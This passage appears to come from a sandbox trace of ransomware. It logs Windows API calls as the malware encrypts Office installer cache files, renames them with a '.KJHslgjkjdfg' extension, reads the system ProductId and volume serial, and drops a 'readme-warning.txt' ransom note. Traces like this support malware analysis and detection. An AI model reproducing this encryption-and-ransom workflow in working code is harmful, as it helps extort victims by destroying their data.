HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0158.685] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml.kjhslgjkjdfg")) returned 1 [0158.688] CloseHandle (hObject=0x124) returned 1 [0158.688] FindNextFileW (in: hFindFile=0x9b6528, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc111bb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa40, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0158.688] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0158.689] GetProcessHeap () returned 0x990000 [0158.689] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0158.689] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0158.689] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df518 | out: lpNewFilePointer=0x0) returned 1 [0158.689] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0158.689] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0158.689] GetProcessHeap () returned 0x990000 [0158.689] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0158.689] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29df4e0*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29df4e0*=0x30) returned 1 [0158.689] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0158.689] WriteFile (in: hFile=0x124, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29df4f8*=0x30, lpOverlapped=0x0) returned 1 [0158.853] WriteFile (in: hFile=0x124, lpBuffer=0x29df500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df500*, lpNumberOfBytesWritten=0x29df4f8*=0x4, lpOverlapped=0x0) returned 1 [0158.853] WriteFile (in: hFile=0x124, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df4f8*=0x10, lpOverlapped=0x0) returned 1 [0158.853] WriteFile (in: hFile=0x124, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df4f8*=0x80, lpOverlapped=0x0) returned 1 [0158.853] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df520 | out: lpNewFilePointer=0x0) returned 1 [0158.853] WriteFile (in: hFile=0x124, lpBuffer=0x29df510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df510*, lpNumberOfBytesWritten=0x29df4f8*=0x8, lpOverlapped=0x0) returned 1 [0158.854] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0158.854] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0158.854] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.854] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xa40, lpNumberOfBytesRead=0x29df504, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df504*=0xa40, lpOverlapped=0x0) returned 1 [0158.854] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0xa40, dwBufLen=0xa40 | out: pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0xa40) returned 1 [0158.854] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.854] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xa40, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4f8*=0xa40, lpOverlapped=0x0) returned 1 [0158.854] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0158.854] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xb04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.854] SetEndOfFile (hFile=0x124) returned 1 [0158.856] GetProcessHeap () returned 0x990000 [0158.856] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0158.856] GetProcessHeap () returned 0x990000 [0158.856] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0158.856] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml.kjhslgjkjdfg")) returned 1 [0158.857] CloseHandle (hObject=0x124) returned 1 [0158.857] FindNextFileW (in: hFindFile=0x9b6528, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc111bb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa40, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0158.857] GetProcessHeap () returned 0x990000 [0158.857] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0158.857] CryptImportKey (in: hProv=0x9acd90, pbData=0x29df2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b64e8) returned 1 [0158.857] CryptDecrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0, pdwDataLen=0x29df330 | out: pbData=0x9af7b0, pdwDataLen=0x29df330) returned 1 [0158.857] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0158.857] GetProcessHeap () returned 0x990000 [0158.858] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7f8 [0158.858] CryptImportKey (in: hProv=0x9acd90, pbData=0x29df2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b64e8) returned 1 [0158.858] CryptDecrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7f8, pdwDataLen=0x29df330 | out: pbData=0x9af7f8, pdwDataLen=0x29df330) returned 1 [0158.858] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0158.858] GetProcessHeap () returned 0x990000 [0158.858] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3c0) returned 0x9dc8a8 [0158.858] CryptImportKey (in: hProv=0x9acd90, pbData=0x29df2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b64e8) returned 1 [0158.858] CryptDecrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9dc8a8, pdwDataLen=0x29df330 | out: pbData=0x9dc8a8, pdwDataLen=0x29df330) returned 1 [0158.858] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0158.858] GetProcessHeap () returned 0x990000 [0158.858] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af840 [0158.858] CryptImportKey (in: hProv=0x9acd90, pbData=0x29deea0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b64e8) returned 1 [0158.858] CryptDecrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af840, pdwDataLen=0x29def10 | out: pbData=0x9af840, pdwDataLen=0x29def10) returned 1 [0158.858] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0158.858] GetProcessHeap () returned 0x990000 [0158.858] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b1918 [0158.858] CryptImportKey (in: hProv=0x9acd90, pbData=0x29deea0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b64e8) returned 1 [0158.858] CryptDecrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b1918, pdwDataLen=0x29def10 | out: pbData=0x9b1918, pdwDataLen=0x29def10) returned 1 [0158.858] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0158.859] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x29def0c | out: phkResult=0x29def0c*=0x124) returned 0x0 [0158.859] RegQueryValueExA (in: hKey=0x124, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x29def18, lpcbData=0x29def14*=0x400 | out: lpType=0x0, lpData=0x29def18*=0x30, lpcbData=0x29def14*=0x18) returned 0x0 [0158.859] RegCloseKey (hKey=0x124) returned 0x0 [0158.859] GetProcessHeap () returned 0x990000 [0158.859] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af840 | out: hHeap=0x990000) returned 1 [0158.859] GetProcessHeap () returned 0x990000 [0158.859] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b1918 | out: hHeap=0x990000) returned 1 [0158.859] GetProcessHeap () returned 0x990000 [0158.859] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b1918 [0158.859] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dec80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b64e8) returned 1 [0158.859] CryptDecrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b1918, pdwDataLen=0x29dece4 | out: pbData=0x9b1918, pdwDataLen=0x29dece4) returned 1 [0158.859] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0158.859] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x29dece8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0158.859] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x29dece0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x29dece0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0158.859] GetProcessHeap () returned 0x990000 [0158.859] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b1918 | out: hHeap=0x990000) returned 1 [0158.859] wsprintfA (in: param_1=0x29def2f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0158.859] wsprintfA (in: param_1=0x29df33c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0158.859] GetProcessHeap () returned 0x990000 [0158.860] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3b4) returned 0x9b78c0 [0158.860] wsprintfW (in: param_1=0x29de30c, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\readme-warning.txt") returned 81 [0158.860] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\readme-warning.txt" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0158.861] WriteFile (in: hFile=0x124, lpBuffer=0x9b78c0*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x29de308, lpOverlapped=0x0 | out: lpBuffer=0x9b78c0*, lpNumberOfBytesWritten=0x29de308*=0x3b3, lpOverlapped=0x0) returned 1 [0158.862] CloseHandle (hObject=0x124) returned 1 [0158.862] GetProcessHeap () returned 0x990000 [0158.862] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9dc8a8 | out: hHeap=0x990000) returned 1 [0158.862] GetProcessHeap () returned 0x990000 [0158.862] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b78c0 | out: hHeap=0x990000) returned 1 [0158.862] GetProcessHeap () returned 0x990000 [0158.862] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7f8 | out: hHeap=0x990000) returned 1 [0158.862] GetProcessHeap () returned 0x990000 [0158.862] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0158.862] FindClose (in: hFindFile=0x9b6528 | out: hFindFile=0x9b6528) returned 1 [0158.862] GetProcessHeap () returned 0x990000 [0158.862] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9dc610 | out: hHeap=0x990000) returned 1 [0158.862] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfe09ced0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x18179b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18179b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="{91140000-0011-0000-1000-0000000FF1CE}-C", cAlternateFileName="{91140~1")) returned 1 [0158.862] GetProcessHeap () returned 0x990000 [0158.862] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8e) returned 0x9b2468 [0158.862] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\*.*", lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfe09ced0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x18179b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18179b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b6528 [0158.865] GetProcessHeap () returned 0x990000 [0158.865] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b2468 | out: hHeap=0x990000) returned 1 [0158.865] FindNextFileW (in: hFindFile=0x9b6528, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfe09ced0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x18179b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18179b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0158.865] FindNextFileW (in: hFindFile=0x9b6528, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x34ae1a00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x34ae1a00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xfe0c2860, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1e6600, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Office32WW.msi", cAlternateFileName="OFFICE~1.MSI")) returned 1 [0158.865] GetProcessHeap () returned 0x990000 [0158.865] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x290) returned 0x9dc610 [0158.865] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0158.866] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x29df508 | out: lpFileSize=0x29df508*=1992192) returned 1 [0158.866] GetProcessHeap () returned 0x990000 [0158.866] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0158.866] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0158.866] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.866] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4f8 | out: phKey=0x29df4f8*=0x9b64e8) returned 1 [0158.866] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0158.866] GetProcessHeap () returned 0x990000 [0158.866] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0158.866] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df4d8*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df4d8*=0x40) returned 1 [0158.866] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0158.866] WriteFile (in: hFile=0x124, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df4f4*=0x40, lpOverlapped=0x0) returned 1 [0158.872] WriteFile (in: hFile=0x124, lpBuffer=0x29df4fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x29df4fc*, lpNumberOfBytesWritten=0x29df4f4*=0x4, lpOverlapped=0x0) returned 1 [0158.872] WriteFile (in: hFile=0x124, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df4f4*=0x10, lpOverlapped=0x0) returned 1 [0158.873] WriteFile (in: hFile=0x124, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df4f4*=0x80, lpOverlapped=0x0) returned 1 [0158.873] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df520 | out: lpNewFilePointer=0x0) returned 1 [0158.873] WriteFile (in: hFile=0x124, lpBuffer=0x29df510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x29df510*, lpNumberOfBytesWritten=0x29df4f4*=0x8, lpOverlapped=0x0) returned 1 [0158.873] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4f8 | out: phKey=0x29df4f8*=0x9b64e8) returned 1 [0158.873] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0158.873] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df4c8 | out: lpNewFilePointer=0x0) returned 1 [0158.873] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x29df4bc, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df4bc*=0x40000, lpOverlapped=0x0) returned 1 [0158.898] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000) returned 1 [0158.902] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.902] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4c0*=0x40000, lpOverlapped=0x0) returned 1 [0158.903] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1e66d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.903] WriteFile (in: hFile=0x124, lpBuffer=0x29df4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x29df4c8*, lpNumberOfBytesWritten=0x29df4c0*=0x8, lpOverlapped=0x0) returned 1 [0158.903] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xa2200, lpNewFilePointer=0x0, dwMoveMethod=0x29df4c8 | out: lpNewFilePointer=0x0) returned 1 [0158.903] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x29df4bc, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df4bc*=0x40000, lpOverlapped=0x0) returned 1 [0158.925] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000) returned 1 [0158.931] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xa2200, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.931] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4c0*=0x40000, lpOverlapped=0x0) returned 1 [0158.932] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1e66d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.932] WriteFile (in: hFile=0x124, lpBuffer=0x29df4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x29df4c8*, lpNumberOfBytesWritten=0x29df4c0*=0x8, lpOverlapped=0x0) returned 1 [0158.932] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1a6600, lpNewFilePointer=0x0, dwMoveMethod=0x29df4c8 | out: lpNewFilePointer=0x0) returned 1 [0158.932] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x29df4bc, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df4bc*=0x40000, lpOverlapped=0x0) returned 1 [0160.710] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000) returned 1 [0160.713] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1a6600, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.713] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4c0*=0x40000, lpOverlapped=0x0) returned 1 [0160.714] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1e66d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.714] WriteFile (in: hFile=0x124, lpBuffer=0x29df4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x29df4c8*, lpNumberOfBytesWritten=0x29df4c0*=0x8, lpOverlapped=0x0) returned 1 [0160.714] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0160.715] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1e66d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.715] SetEndOfFile (hFile=0x124) returned 1 [0160.718] GetProcessHeap () returned 0x990000 [0160.718] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0160.719] GetProcessHeap () returned 0x990000 [0160.719] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0160.719] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi.kjhslgjkjdfg")) returned 1 [0160.720] CloseHandle (hObject=0x124) returned 1 [0160.720] FindNextFileW (in: hFindFile=0x9b6528, lpFindFileData=0x29df588 | 